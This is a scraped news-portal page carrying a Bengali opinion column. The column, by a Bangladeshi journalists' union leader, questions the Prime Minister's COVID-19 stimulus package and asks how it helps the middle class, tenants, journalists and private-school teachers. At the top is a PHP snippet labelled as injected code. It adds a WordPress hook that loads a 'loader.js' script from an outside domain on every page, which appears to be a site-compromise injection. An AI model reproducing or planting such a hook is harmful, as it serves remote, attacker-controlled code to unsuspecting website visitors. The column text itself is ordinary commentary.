// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Janabarta.com | Newsportal Site এক্সকিউজ মি, মাননীয় প্রধানমন্ত্রী! - Janabarta.com

এক্সকিউজ মি, মাননীয় প্রধানমন্ত্রী!

এম আবদুল্লাহঃ

এক্সকিউজ মি, মাননীয় প্রধানমন্ত্রী! আজ রবিবার (৫ এপ্রিল) সকাল ১০টায় সরকারি বাসভবন গণভবন থেকে সংবাদ সম্মেলনে আপনি নিম্নোক্ত প্যাকেজ ঘোষণা করেছেন । প্যাকেজের ফিগারটা বেশ বড়। অনেকে আপনাকে অভিনন্দনে ভাসাচ্ছেন। আমিও অভিনন্দন জানানোর জন্য গভীর আগ্রহ নিয়ে বক্তব্য শুনেছি। সত্যি, অভিনন্দন জানাতে চাই। তার আগে কয়েকটি প্রশ্নের উত্তর পেতে চাই।

আপনি ৭২ হাজার ৭৫০ কোটি টাকার প্রণোদনা প্যাকেজ ঘোষণা করেছেন।

√ ক্ষতিগ্রস্ত শিল্প প্রতিষ্ঠানকে ওয়ার্কিং ক্যাপিটাল হিসেবে ৯ শতাংশ সুদে ৩০ হাজার কোটি টাকার ঋণ সুবিধা। এর মধ্যে শিল্প প্রতিষ্ঠান মালিক ৪.৫ শতাংশ ভর্তুকি এবং সরকার ৪.৫ শতাংশ ভতুর্কি দেবে।

√ ব্যাংক-ক্লায়েন্ট রিলেশনসের ভিত্তিতে বাণিজ্যিক ব্যাংকসমূহ ক্ষুদ্র এ মাঝারি শিল্প ৪ শতাংশ সুদে ২০ হাজার কোটি টাকা বরাদ্দ দেওয়া হবে।

√ রফতানি উন্নয়ন তহবিলের (ইডিএফ) বর্তমান আকার ৩ দশমিক ৫ বিলিয়ন মার্কিন ডলার থেকে ৫ বিলিয়ন ডলারে উন্নীত করা হবে। ফলে ১ দশমিক ৫ বিলিয়ন ডলারের সমপরিমাণ অতিরিক্ত ১২ হাজার ৭৫০ কোটি টাকা ইডিএফ তহবিলে যুক্ত হবে।

√ প্রি-শিপমেন্ট ক্রেডিট রিফাইন্যান্স স্কিম নামে বাংলাদেশ ব্যাংক ৫ হাজার কোটি টাকার একটি নতুন ঋণ সুবিধা চালু করবে। এ ঋণ সুবিধার সুদের হার হবে ৭ শতাংশ।

√ প্যাকেজ-৫: আগের ৫ হাজার কোটি টাকার প্রণোদনা প্যাকেজ যা পোশাক শিল্প মালিকরা ঋণ হিসাবে নিতে পারবেন।

আমার প্রশ্ন হচ্ছে, ঋণ সুবিধা ও সুদে ভর্তুকি সুবিধা, সবইতো ঘোষণা করলেন, যার প্রত্যক্ষ সুফল পাবেন শিল্পপতি ব্যবসায়ীরা। আমার মত সংখ্যাগরিষ্ঠ মধ্যবিত্ত জনগোষ্ঠী কিভাবে সুবিধা পাবো?

বলেছেন, ব্যাংক-গ্রাহক সম্পর্কের ভিত্তিতেই ওই বিপুল অংকের ঋণ সুবিধা ভোগ করা যাবে। এই পরিমান ঋণ দেয়ার সক্ষমতা কি বাংলাদেশের ব্যাংকগুলোর আছে? ওই ঋণে কি জামানত লাগবে না? নতুন করে ঋণের বোঝা নেয়ার সক্ষমতা কত শিল্প প্রতিষ্ঠানে আছে? অবশ্য ফেরত না দেয়ার নিয়তে নিলে গ্রহীতার অভাব হবে না।

বিশাল জনগোষ্ঠী যে ক্রয়ক্ষমতা হারালো তারা বাজারে চাল, ডাল, তেল কিনতে গিয়ে আপনার প্যাকেজ সুবিধার সুফল কিভাবে পাবে?

তিন মাস পর বিদ্যুৎ, গ্যাসসহ একসঙ্গে ইউটিলিটি বিল দেওয়ার এতগুলো টাকা মধ্যবিত্ত শ্রেণি কোথায় পাবে? ইউটিলিটি বিল কি এক মাসের জন্যও মওকুফ করা যেত না? সরকারের আর্থিক সক্ষমতা কি এতই দুর্বল?

এই যে এপ্রিল মাস শুরু হলো, ১০ তারিখের মধ্যে ভাড়াটিয়ারা বাসা ভাড়া পরিশোধের টাকাটা কোথায় পাবে?

যে লাখ লাখ পরিবারের সংসার চলে বাড়ি ভাড়ার টাকায়, তারা ভাড়া না পেলে কিভাবে সংসার চালাবে?

যারা ব্যাংক ঋণে বাড়ি বানিয়েছেন, ফ্ল্যাট কিনেছেন তারা ভাড়া না পেলে ব্যাংকের কিস্তি পরিশোধ করবেন কিভাবে, তাদের জন্য আপনার ৫ প্যাকেজে কী আছে?

দেশের গণমাধ্যমের অবস্থা খুবই নাজুক। যারা আপনার এ বক্তব্য জনগণের কাছে পৌছে দিচ্ছে তাদের আর্থিক সুরক্ষায় কি ঘোষণা আছে? গণমাধ্যম প্রতিষ্ঠান ও সাংবাদিকদের জন্য কি কিছুই করার দায়িত্ব নেই সরকারের?

কয়েক লাখ প্রাইভেট শিক্ষা প্রতিষ্ঠানের লাখ লাখ শিক্ষার্থী তাদের টিউশন ফি কোত্থেকে পরিশোধ করবে? না করলে এসব প্রতিষ্ঠানের লাখ লাখ শিক্ষকের বেতন হবে কিভাবে? তাদের সংসার চলবে কি করে?

নিম্ন আয়ের শ্রমজীবী মানুষকে এখন বিচ্ছিন্নভাবে কিছু সহায়তা দেয়া হচ্ছে। অভিজ্ঞতা বলে এটা বেশি দিন চলবে না। তাদের সামনের দিনগুলোতে কোন প্যাকেজের আওতায়৷ এনেছেন ?

মাননীয় প্রধানমন্ত্রী, এভাবে অনেক প্রশ্ন তোলা যায়। যেসব দেশের পর্যায়ে আমরা উন্নীত হয়েছি বলে আপনার সরকার দাবি করে ওইসব দেশ করোনা পরিস্থিতিতে প্রত্যেক নাগরিকের খাদ্য, চিকিৎসা, আবাসনের পুরো দায়িত্ব নিয়েছে। নগদ অর্থ পৌছে যাচ্ছে তাদের হাতে। ফলে নিশ্চিন্তে তারা সরকারি নির্দেশনা মেনে ঘরে থাকছে। আমাদের কি সেরকম কিছুই করার নেই? কেন নেই?

লেখকঃ মহাসচিব, বাংলাদেশ ফেডারেল সাংবাদিক ইউনিয়ন (বিএফইউজে), লেখকের ফেসবুক ওয়াল থেকে সংগৃহিত।